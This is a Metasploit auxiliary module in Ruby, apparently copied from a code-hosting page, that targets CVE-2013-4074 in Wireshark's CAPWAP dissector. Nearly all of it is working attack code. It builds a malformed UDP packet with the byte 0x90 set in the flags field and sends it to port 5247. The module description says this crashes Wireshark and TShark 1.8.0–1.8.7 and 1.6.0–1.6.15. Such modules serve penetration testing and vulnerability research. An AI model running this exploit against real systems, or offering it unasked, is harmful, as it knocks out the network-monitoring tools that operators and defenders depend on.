56 lines
1.7 KiB
Ruby
56 lines
1.7 KiB
Ruby
#
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::Udp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Wireshark CAPWAP Dissector DoS',
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'Description' => %q{
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This module injects a malformed UDP packet to crash Wireshark and TShark 1.8.0 to 1.8.7, as well
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as 1.6.0 to 1.6.15. The vulnerability exists in the CAPWAP dissector which fails to handle a
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packet correctly when an incorrect length is given.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Laurent Butti', # Discovery vulnerability
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'j0sm1' # Auxiliary msf module
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],
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'References' =>
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[
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['CVE', '2013-4074'],
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['OSVDB', '94091'],
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['BID', '60500']
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],
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'DisclosureDate' => 'Apr 28 2014'))
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# Protocol capwap needs port 5247 to trigger the dissector in wireshark
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register_options([ Opt::RPORT(5247) ], self.class)
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end
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def run
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connect_udp
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# We send a packet incomplete to crash dissector
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print_status("#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ...")
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# With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then
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# the dissector crash
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# You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt
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# F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000
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buf = Rex::Text.rand_text(3) + "\x90" + Rex::Text.rand_text(15)
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udp_sock.put(buf)
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disconnect_udp
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end
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end
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